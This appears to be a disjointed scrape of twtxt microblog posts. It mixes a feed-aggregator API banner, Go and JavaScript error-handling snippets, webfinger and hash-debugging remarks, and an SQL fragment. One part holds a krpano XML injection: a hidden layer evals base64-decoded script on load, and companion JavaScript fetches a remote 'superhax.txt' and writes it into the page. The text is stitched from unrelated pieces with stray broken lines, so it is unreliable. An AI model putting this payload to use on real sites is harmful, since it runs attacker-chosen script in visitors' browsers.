" " instead of "T"
# I am the Watcher. I am your guide through this vast new twtiverse. # # Usage: # https://watcher.sour.is/api/plain/users View list of users and latest twt date. # https://watcher.sour.is/api/plain/twt View all twts. # https://watcher.sour.is/api/plain/mentions?uri=:uri View all mentions for uri. # https://watcher.sour.is/api/plain/conv/:hash View all twts for a conversation subject. # # Options: # uri Filter to show a specific users twts. # offset Start index for quey. # limit Count of items to return (going back in time). # # twt range = 1 1337 # self = https://watcher.sour.is?uri=https://txt.sour.is/user/xuu/twtxt.txt&offset=1237 # prev = https://watcher.sour.is?uri=https://txt.sour.is/user/xuu/twtxt.txt&offset=1137
" " instead of "T"
s
const value = some?.deeply?.nested?.object?.value
b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?
// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?
? in go.
var f os.File
if f, e = os.Open("foo.txt"); e != nil {
log.Fatal("error opening file; %s", e)
}
@nick@domain support by doing a webfinger lookup to get the URL.
xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
fisherman.
https://domain.com/.well-known/twtxt/:domain/:user ?
{{ .Profile.URI }} and that is making my hashes wrong so it cannot delete or edit twts.
[key=value]select len(subject) where head_full_hash like subject || '%' head_full_hash like subject || '%' and created_on > head_timestamp